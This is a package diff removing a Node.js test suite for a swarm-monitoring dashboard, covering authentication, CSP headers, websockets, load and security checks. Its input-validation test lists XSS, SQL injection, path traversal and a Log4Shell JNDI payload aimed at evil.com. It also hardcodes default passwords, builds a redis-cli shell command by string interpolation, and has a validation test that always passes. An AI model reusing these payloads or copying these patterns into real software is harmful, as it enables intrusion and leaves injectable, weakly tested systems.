claude-flow-novice 2.3.4 → 2.3.6

package/dist/scripts/demo/comprehensive-dashboard-test.js

@@ -1,693 +0,0 @@
-#!/usr/bin/env node
-
-/**
- * Comprehensive Dashboard Testing Suite
- * Tests all dashboard fixes with real multi-swarm scenarios
- */
-
-import axios from 'axios';
-import io from 'socket.io-client';
-import { performance } from 'perf_hooks';
-
-class DashboardTestSuite {
-    constructor() {
-        this.baseURL = 'http://localhost:3001';
-        this.testResults = {
-            authentication: {},
-            csp: {},
-            realtime: {},
-            performance: {},
-            multiSwarm: {},
-            security: {}
-        };
-        this.metrics = [];
-        this.socket = null;
-        this.testStartTime = performance.now();
-    }
-
-    async runAllTests() {
-        console.log('🚀 Starting Comprehensive Dashboard Testing Suite');
-        console.log('=' .repeat(60));
-
-        try {
-            // Test 1: Authentication System
-            await this.testAuthenticationSystem();
-
-            // Test 2: CSP Policy Enforcement
-            await this.testCSPPolicies();
-
-            // Test 3: Real-time Updates
-            await this.testRealtimeUpdates();
-
-            // Test 4: Multi-Swarm Execution Display
-            await this.testMultiSwarmExecution();
-
-            // Test 5: Performance with 1000+ Agents
-            await this.testPerformanceWithLargeSwarm();
-
-            // Test 6: Security Hardening
-            await this.testSecurityHardening();
-
-            // Generate comprehensive report
-            await this.generateTestReport();
-
-        } catch (error) {
-            console.error('❌ Test suite failed:', error);
-            throw error;
-        }
-    }
-
-    async testAuthenticationSystem() {
-        console.log('\n🔐 Testing Authentication System');
-        console.log('-'.repeat(40));
-
-        try {
-            // Test valid credentials
-            const validUsers = [
-                { username: 'admin', password: 'claude2025' },
-                { username: 'monitor', password: 'dashboard2025' },
-                { username: 'fleet', password: 'manager2025' }
-            ];
-
-            for (const user of validUsers) {
-                const response = await axios.post(`${this.baseURL}/api/auth/login`, user);
-
-                this.testResults.authentication[user.username] = {
-                    success: response.data.success,
-                    hasToken: !!response.data.token,
-                    hasUser: !!response.data.user,
-                    hasExpiry: !!response.data.expiresAt,
-                    tokenValid: this.validateToken(response.data.token)
-                };
-
-                console.log(`✅ ${user.username}: Login successful`);
-            }
-
-            // Test invalid credentials
-            try {
-                await axios.post(`${this.baseURL}/api/auth/login`, {
-                    username: 'invalid',
-                    password: 'wrong'
-                });
-                this.testResults.authentication.invalidLogin = false;
-                console.log('❌ Invalid login should have failed');
-            } catch (error) {
-                this.testResults.authentication.invalidLogin = true;
-                console.log('✅ Invalid login properly rejected');
-            }
-
-            // Test token verification
-            const authResponse = await axios.post(`${this.baseURL}/api/auth/login`, {
-                username: 'admin',
-                password: 'claude2025'
-            });
-
-            const verifyResponse = await axios.post(`${this.baseURL}/api/auth/verify`, {
-                token: authResponse.data.token
-            });
-
-            this.testResults.authentication.tokenVerification = {
-                success: verifyResponse.data.success,
-                valid: verifyResponse.data.valid,
-                hasUser: !!verifyResponse.data.user
-            };
-
-            console.log('✅ Token verification working');
-
-        } catch (error) {
-            console.error('❌ Authentication test failed:', error.message);
-            this.testResults.authentication.error = error.message;
-        }
-    }
-
-    validateToken(token) {
-        try {
-            const decoded = Buffer.from(token, 'base64').toString();
-            const [username, timestamp] = decoded.split(':');
-            return username && timestamp && !isNaN(parseInt(timestamp));
-        } catch {
-            return false;
-        }
-    }
-
-    async testCSPPolicies() {
-        console.log('\n🛡️ Testing CSP Policy Enforcement');
-        console.log('-'.repeat(40));
-
-        try {
-            const response = await axios.get(`${this.baseURL}/`);
-
-            // Check CSP header
-            const cspHeader = response.headers['content-security-policy'];
-            if (cspHeader) {
-                this.testResults.csp.cspHeaderPresent = true;
-                this.testResults.csp.cspValue = cspHeader;
-
-                // Validate CSP directives
-                const requiredDirectives = [
-                    "default-src 'self'",
-                    "script-src 'self'",
-                    "style-src 'self'",
-                    "frame-src 'none'",
-                    "object-src 'none'"
-                ];
-
-                this.testResults.csp.directivesValid = requiredDirectives.every(dir =>
-                    cspHeader.includes(dir)
-                );
-
-                console.log('✅ CSP header present and valid');
-            } else {
-                this.testResults.csp.cspHeaderPresent = false;
-                console.log('❌ CSP header missing');
-            }
-
-            // Check other security headers
-            const securityHeaders = {
-                'X-Content-Type-Options': 'nosniff',
-                'X-Frame-Options': 'DENY',
-                'X-XSS-Protection': '1; mode=block',
-                'Referrer-Policy': 'strict-origin-when-cross-origin'
-            };
-
-            this.testResults.csp.securityHeaders = {};
-
-            for (const [header, expectedValue] of Object.entries(securityHeaders)) {
-                const actualValue = response.headers[header.toLowerCase()];
-                this.testResults.csp.securityHeaders[header] = {
-                    present: !!actualValue,
-                    correct: actualValue === expectedValue
-                };
-
-                if (actualValue === expectedValue) {
-                    console.log(`✅ ${header}: ${actualValue}`);
-                } else {
-                    console.log(`❌ ${header}: Expected ${expectedValue}, got ${actualValue}`);
-                }
-            }
-
-        } catch (error) {
-            console.error('❌ CSP test failed:', error.message);
-            this.testResults.csp.error = error.message;
-        }
-    }
-
-    async testRealtimeUpdates() {
-        console.log('\n⚡ Testing Real-time Updates');
-        console.log('-'.repeat(40));
-
-        return new Promise((resolve, reject) => {
-            try {
-                let updateCount = 0;
-                let lastUpdateTime = Date.now();
-                const updateIntervals = [];
-
-                this.socket = io(this.baseURL);
-
-                this.socket.on('connect', () => {
-                    console.log('✅ Socket connected');
-                    this.testResults.realtime.connection = true;
-                });
-
-                this.socket.on('metrics', (data) => {
-                    updateCount++;
-                    const now = Date.now();
-                    const interval = now - lastUpdateTime;
-                    updateIntervals.push(interval);
-                    lastUpdateTime = now;
-
-                    this.metrics.push({
-                        timestamp: now,
-                        data: data
-                    });
-
-                    console.log(`📊 Update ${updateCount}: ${interval}ms interval`);
-
-                    // Test update frequency (should be ~1000ms)
-                    if (updateCount >= 5) {
-                        const avgInterval = updateIntervals.reduce((a, b) => a + b, 0) / updateIntervals.length;
-                        this.testResults.realtime.averageInterval = avgInterval;
-                        this.testResults.realtime.updateCount = updateCount;
-                        this.testResults.realtime.frequencyStable = Math.abs(avgInterval - 1000) < 200;
-
-                        if (this.testResults.realtime.frequencyStable) {
-                            console.log(`✅ Real-time updates stable: ${avgInterval.toFixed(0)}ms average`);
-                        } else {
-                            console.log(`❌ Update frequency unstable: ${avgInterval.toFixed(0)}ms average`);
-                        }
-
-                        this.socket.disconnect();
-                        resolve();
-                    }
-                });
-
-                this.socket.on('connect_error', (error) => {
-                    console.error('❌ Socket connection failed:', error.message);
-                    this.testResults.realtime.connection = false;
-                    this.testResults.realtime.error = error.message;
-                    reject(error);
-                });
-
-                // Timeout after 10 seconds
-                setTimeout(() => {
-                    if (updateCount < 5) {
-                        console.log('❌ Real-time updates timeout');
-                        this.testResults.realtime.timeout = true;
-                        this.socket.disconnect();
-                        resolve();
-                    }
-                }, 10000);
-
-            } catch (error) {
-                console.error('❌ Real-time test failed:', error.message);
-                this.testResults.realtime.error = error.message;
-                reject(error);
-            }
-        });
-    }
-
-    async testMultiSwarmExecution() {
-        console.log('\n🐝 Testing Multi-Swarm Execution Display');
-        console.log('-'.repeat(40));
-
-        try {
-            // Start multiple swarms in parallel
-            const swarmPromises = [];
-            const swarmCount = 15;
-
-            console.log(`🚀 Starting ${swarmCount} parallel swarms...`);
-
-            for (let i = 0; i < swarmCount; i++) {
-                const swarmPromise = this.runTestSwarm(`test-swarm-${i}`, `Test task ${i}`);
-                swarmPromises.push(swarmPromise);
-            }
-
-            // Monitor swarm metrics
-            const startTime = Date.now();
-            const swarmResults = await Promise.allSettled(swarmPromises);
-            const endTime = Date.now();
-
-            // Test swarm metrics API
-            const metricsResponse = await axios.get(`${this.baseURL}/api/swarms`);
-            const swarmMetrics = metricsResponse.data;
-
-            this.testResults.multiSwarm = {
-                swarmsStarted: swarmCount,
-                swarmsCompleted: swarmResults.filter(r => r.status === 'fulfilled').length,
-                executionTime: endTime - startTime,
-                metricsAPIWorking: !!swarmMetrics,
-                hasSwarmData: Array.isArray(swarmMetrics) && swarmMetrics.length > 0,
-                averageExecutionTime: (endTime - startTime) / swarmCount
-            };
-
-            console.log(`✅ Multi-swarm execution completed`);
-            console.log(`   📊 Swarms completed: ${this.testResults.multiSwarm.swarmsCompleted}/${swarmCount}`);
-            console.log(`   ⏱️  Average time: ${this.testResults.multiSwarm.averageExecutionTime.toFixed(0)}ms`);
-
-        } catch (error) {
-            console.error('❌ Multi-swarm test failed:', error.message);
-            this.testResults.multiSwarm.error = error.message;
-        }
-    }
-
-    async runTestSwarm(swarmId, task) {
-        try {
-            // Simulate swarm execution with delays
-            await new Promise(resolve => setTimeout(resolve, Math.random() * 2000 + 1000));
-
-            // Store swarm data in Redis for dashboard display
-            const swarmData = {
-                id: swarmId,
-                status: 'completed',
-                task: task,
-                agents: Math.floor(Math.random() * 5) + 3,
-                startTime: new Date(Date.now() - 5000).toISOString(),
-                endTime: new Date().toISOString(),
-                confidence: Math.random() * 0.3 + 0.7
-            };
-
-            // Store in Redis for dashboard to read
-            await this.storeSwarmData(swarmId, swarmData);
-
-            return swarmData;
-        } catch (error) {
-            console.error(`Swarm ${swarmId} failed:`, error.message);
-            throw error;
-        }
-    }
-
-    async storeSwarmData(swarmId, data) {
-        try {
-            // Use Redis to store swarm data
-            const { execSync } = await import('child_process');
-            const key = `swarm:${swarmId}`;
-            const value = JSON.stringify(data);
-
-            execSync(`redis-cli setex "${key}" 3600 '${value}'`, { stdio: 'pipe' });
-        } catch (error) {
-            console.error('Failed to store swarm data:', error.message);
-        }
-    }
-
-    async testPerformanceWithLargeSwarm() {
-        console.log('\n🚀 Performance Testing with 1000+ Agents');
-        console.log('-'.repeat(40));
-
-        try {
-            const agentCount = 1000;
-            const startTime = performance.now();
-
-            console.log(`🤖 Simulating ${agentCount} agents...`);
-
-            // Simulate large agent deployment
-            const agentPromises = [];
-            for (let i = 0; i < agentCount; i++) {
-                agentPromises.push(this.simulateAgentWork(`agent-${i}`));
-            }
-
-            // Monitor system during execution
-            const monitoringInterval = setInterval(async () => {
-                try {
-                    const metricsResponse = await axios.get(`${this.baseURL}/api/metrics`);
-                    const metrics = metricsResponse.data;
-
-                    console.log(`📊 CPU: ${metrics.system?.cpu?.usage || 'N/A'}% | Memory: ${metrics.system?.memory?.percent || 'N/A'}%`);
-                } catch (error) {
-                    // Ignore monitoring errors during performance test
-                }
-            }, 1000);
-
-            const results = await Promise.allSettled(agentPromises);
-            clearInterval(monitoringInterval);
-
-            const endTime = performance.now();
-            const executionTime = endTime - startTime;
-            const successfulAgents = results.filter(r => r.status === 'fulfilled').length;
-
-            this.testResults.performance = {
-                agentCount: agentCount,
-                successfulAgents: successfulAgents,
-                failedAgents: agentCount - successfulAgents,
-                executionTime: executionTime,
-                throughput: (successfulAgents / executionTime) * 1000, // agents per second
-                averageAgentTime: executionTime / agentCount,
-                systemStable: successfulAgents > agentCount * 0.95 // 95% success rate
-            };
-
-            console.log(`✅ Performance test completed`);
-            console.log(`   🤖 Agents: ${successfulAgents}/${agentCount} successful`);
-            console.log(`   ⚡ Throughput: ${this.testResults.performance.throughput.toFixed(2)} agents/sec`);
-            console.log(`   📈 System stable: ${this.testResults.performance.systemStable}`);
-
-        } catch (error) {
-            console.error('❌ Performance test failed:', error.message);
-            this.testResults.performance.error = error.message;
-        }
-    }
-
-    async simulateAgentWork(agentId) {
-        try {
-            // Simulate agent work with random delays
-            const workTime = Math.random() * 100 + 50; // 50-150ms
-            await new Promise(resolve => setTimeout(resolve, workTime));
-
-            return {
-                agentId: agentId,
-                workTime: workTime,
-                success: true
-            };
-        } catch (error) {
-            return {
-                agentId: agentId,
-                success: false,
-                error: error.message
-            };
-        }
-    }
-
-    async testSecurityHardening() {
-        console.log('\n🔒 Testing Security Hardening');
-        console.log('-'.repeat(40));
-
-        try {
-            // Test rate limiting
-            const rateLimitTest = await this.testRateLimiting();
-
-            // Test input validation
-            const inputValidationTest = await this.testInputValidation();
-
-            // Test session management
-            const sessionTest = await this.testSessionManagement();
-
-            this.testResults.security = {
-                rateLimiting: rateLimitTest,
-                inputValidation: inputValidationTest,
-                sessionManagement: sessionTest,
-                overallSecurity: rateLimitTest && inputValidationTest && sessionTest
-            };
-
-            console.log(`✅ Security hardening tests completed`);
-            console.log(`   🚫 Rate limiting: ${rateLimitTest ? 'Working' : 'Failed'}`);
-            console.log(`   ✅ Input validation: ${inputValidationTest ? 'Working' : 'Failed'}`);
-            console.log(`   🔐 Session management: ${sessionTest ? 'Working' : 'Failed'}`);
-
-        } catch (error) {
-            console.error('❌ Security test failed:', error.message);
-            this.testResults.security.error = error.message;
-        }
-    }
-
-    async testRateLimiting() {
-        try {
-            // Make multiple rapid requests to test rate limiting
-            const requests = [];
-            for (let i = 0; i < 20; i++) {
-                requests.push(axios.get(`${this.baseURL}/api/metrics`));
-            }
-
-            const results = await Promise.allSettled(requests);
-            const rejectedRequests = results.filter(r => r.status === 'rejected').length;
-
-            // If some requests are rejected, rate limiting is working
-            return rejectedRequests > 0;
-        } catch (error) {
-            return false;
-        }
-    }
-
-    async testInputValidation() {
-        try {
-            // Test malicious input
-            const maliciousInputs = [
-                '<script>alert("xss")</script>',
-                "'; DROP TABLE users; --",
-                '../../../etc/passwd',
-                '${jndi:ldap://evil.com/a}'
-            ];
-
-            for (const input of maliciousInputs) {
-                try {
-                    await axios.post(`${this.baseURL}/api/auth/login`, {
-                        username: input,
-                        password: 'test'
-                    });
-                } catch (error) {
-                    // Expected to fail
-                    continue;
-                }
-            }
-
-            return true;
-        } catch (error) {
-            return false;
-        }
-    }
-
-    async testSessionManagement() {
-        try {
-            // Test session timeout
-            const response = await axios.post(`${this.baseURL}/api/auth/login`, {
-                username: 'admin',
-                password: 'claude2025'
-            });
-
-            const token = response.data.token;
-
-            // Test token verification
-            const verifyResponse = await axios.post(`${this.baseURL}/api/auth/verify`, {
-                token: token
-            });
-
-            return verifyResponse.data.success && verifyResponse.data.valid;
-        } catch (error) {
-            return false;
-        }
-    }
-
-    async generateTestReport() {
-        console.log('\n📋 Generating Comprehensive Test Report');
-        console.log('=' .repeat(60));
-
-        const testEndTime = performance.now();
-        const totalTestTime = testEndTime - this.testStartTime;
-
-        // Calculate overall success rate
-        const testCategories = Object.keys(this.testResults);
-        const successfulCategories = testCategories.filter(cat => {
-            const result = this.testResults[cat];
-            return result && !result.error && (result.overallSecurity !== false);
-        });
-
-        const overallSuccessRate = (successfulCategories.length / testCategories.length) * 100;
-
-        const report = {
-            summary: {
-                testStartTime: new Date(this.testStartTime).toISOString(),
-                testEndTime: new Date(testEndTime).toISOString(),
-                totalTestTime: `${totalTestTime.toFixed(2)}ms`,
-                overallSuccessRate: `${overallSuccessRate.toFixed(1)}%`,
-                categoriesPassed: successfulCategories.length,
-                totalCategories: testCategories.length
-            },
-            results: this.testResults,
-            recommendations: this.generateRecommendations(),
-            productionReadiness: this.assessProductionReadiness()
-        };
-
-        // Save detailed report
-        const reportPath = '/mnt/c/Users/masha/Documents/claude-flow-novice/DASHBOARD_COMPREHENSIVE_TEST_REPORT.json';
-        await import('fs').then(fs => {
-            fs.writeFileSync(reportPath, JSON.stringify(report, null, 2));
-        });
-
-        // Print summary
-        console.log('\n📊 Test Results Summary:');
-        console.log(`   ⏱️  Total test time: ${report.summary.totalTestTime}`);
-        console.log(`   ✅ Success rate: ${report.summary.overallSuccessRate}`);
-        console.log(`   📈 Categories passed: ${report.summary.categoriesPassed}/${report.summary.totalCategories}`);
-
-        console.log('\n🔍 Category Results:');
-        for (const [category, result] of Object.entries(this.testResults)) {
-            const status = result.error ? '❌ FAILED' : '✅ PASSED';
-            console.log(`   ${status} ${category.charAt(0).toUpperCase() + category.slice(1)}`);
-        }
-
-        console.log('\n🎯 Production Readiness:', report.productionReadiness.status);
-        console.log(`   📊 Score: ${report.productionReadiness.score}/100`);
-        console.log(`   📝 ${report.productionReadiness.assessment}`);
-
-        console.log('\n💡 Key Recommendations:');
-        report.recommendations.slice(0, 5).forEach(rec => {
-            console.log(`   • ${rec}`);
-        });
-
-        console.log(`\n📄 Detailed report saved to: ${reportPath}`);
-
-        return report;
-    }
-
-    generateRecommendations() {
-        const recommendations = [];
-
-        // Analyze test results and generate recommendations
-        if (!this.testResults.authentication?.tokenVerification?.valid) {
-            recommendations.push('Implement stronger token validation and refresh mechanisms');
-        }
-
-        if (!this.testResults.csp?.cspHeaderPresent) {
-            recommendations.push('Add Content Security Policy headers to prevent XSS attacks');
-        }
-
-        if (!this.testResults.realtime?.frequencyStable) {
-            recommendations.push('Optimize WebSocket connection for more stable real-time updates');
-        }
-
-        if (!this.testResults.multiSwarm?.metricsAPIWorking) {
-            recommendations.push('Fix swarm metrics API for better multi-swarm monitoring');
-        }
-
-        if (!this.testResults.performance?.systemStable) {
-            recommendations.push('Optimize system performance for large-scale agent deployments');
-        }
-
-        if (!this.testResults.security?.overallSecurity) {
-            recommendations.push('Strengthen security measures including rate limiting and input validation');
-        }
-
-        if (recommendations.length === 0) {
-            recommendations.push('All systems are performing well - consider implementing advanced monitoring and alerting');
-        }
-
-        return recommendations;
-    }
-
-    assessProductionReadiness() {
-        let score = 0;
-        const maxScore = 100;
-
-        // Score each category
-        const categoryScores = {
-            authentication: 20,
-            csp: 15,
-            realtime: 20,
-            multiSwarm: 20,
-            performance: 15,
-            security: 10
-        };
-
-        for (const [category, maxPoints] of Object.entries(categoryScores)) {
-            const result = this.testResults[category];
-            if (result && !result.error) {
-                if (category === 'performance' && result.systemStable) {
-                    score += maxPoints;
-                } else if (category === 'security' && result.overallSecurity) {
-                    score += maxPoints;
-                } else if (category !== 'performance' && category !== 'security') {
-                    score += maxPoints;
-                }
-            }
-        }
-
-        let status, assessment;
-        if (score >= 90) {
-            status = '🟢 PRODUCTION READY';
-            assessment = 'Excellent - All critical systems functioning properly';
-        } else if (score >= 75) {
-            status = '🟡 READY WITH CAVEATS';
-            assessment = 'Good - Minor issues should be addressed before production';
-        } else if (score >= 60) {
-            status = '🟠 NEEDS IMPROVEMENT';
-            assessment = 'Fair - Significant issues need to be resolved';
-        } else {
-            status = '🔴 NOT READY';
-            assessment = 'Poor - Critical issues must be fixed before production';
-        }
-
-        return {
-            score,
-            status,
-            assessment
-        };
-    }
-}
-
-// Run the comprehensive test suite
-async function main() {
-    const testSuite = new DashboardTestSuite();
-
-    try {
-        const report = await testSuite.runAllTests();
-        console.log('\n🎉 Comprehensive dashboard testing completed!');
-        process.exit(0);
-    } catch (error) {
-        console.error('\n💥 Test suite failed:', error);
-        process.exit(1);
-    }
-}
-
-// Run if executed directly
-if (import.meta.url === `file://${process.argv[1]}`) {
-    main();
-}
-
-export { DashboardTestSuite };